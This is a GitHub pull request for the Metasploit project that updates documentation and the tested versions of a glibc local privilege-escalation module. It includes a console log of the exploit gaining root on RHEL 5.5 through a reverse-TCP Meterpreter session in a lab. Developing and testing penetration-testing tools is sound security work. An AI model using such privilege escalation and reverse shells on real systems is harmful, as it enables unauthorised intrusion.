Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix file description and update tested versions #11753

Merged
merged 1 commit into from
Apr 18, 2019

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Apr 18, 2019

Fix ridiculous file descriptor; and update tested versions to reflect RHEL 5.5.

RHEL 5.5

msf5 exploit(linux/local/glibc_origin_expansion_priv_esc) > run

[*] Started reverse TCP handler on 172.16.191.165:4444 
[+] GNU C Library version 2.5 appears vulnerable
[+] /bin/ping is setuid
[+] /bin/ping is readable
[+] The target appears to be vulnerable
[+] '/bin/ping' and '/tmp' are located on the same partition
[*] System architecture is x86_64
[*] Using target: Linux x64
[*] Writing '/tmp/.knxS5mvZ' (1921 bytes) ...
[*] Writing '/tmp/.nkvuOByv' (307 bytes) ...
[*] Writing '/tmp/.Jk9D00' (207 bytes) ...
[*] Launching exploit...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 172.16.191.202
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.202:33229) at 2019-04-18 11:12:29 -0400

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > cat /etc/redhat-release
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.191.202 - Meterpreter session 2 closed.  Reason: User exit

@busterb busterb self-assigned this Apr 18, 2019
@busterb busterb merged commit 754255a into rapid7:master Apr 18, 2019
@busterb
Copy link
Member

busterb commented Apr 18, 2019

Release Notes

The glibc_origin_expansion_priv_esc local privilege escalation module has improved documentation and is verified to work on a wider range of targets.

@bcoles bcoles deleted the glibc_origin_expansion_priv_esc branch April 18, 2019 17:24
@gdavidson-r7 gdavidson-r7 added the rn-enhancement release notes enhancement label Apr 29, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants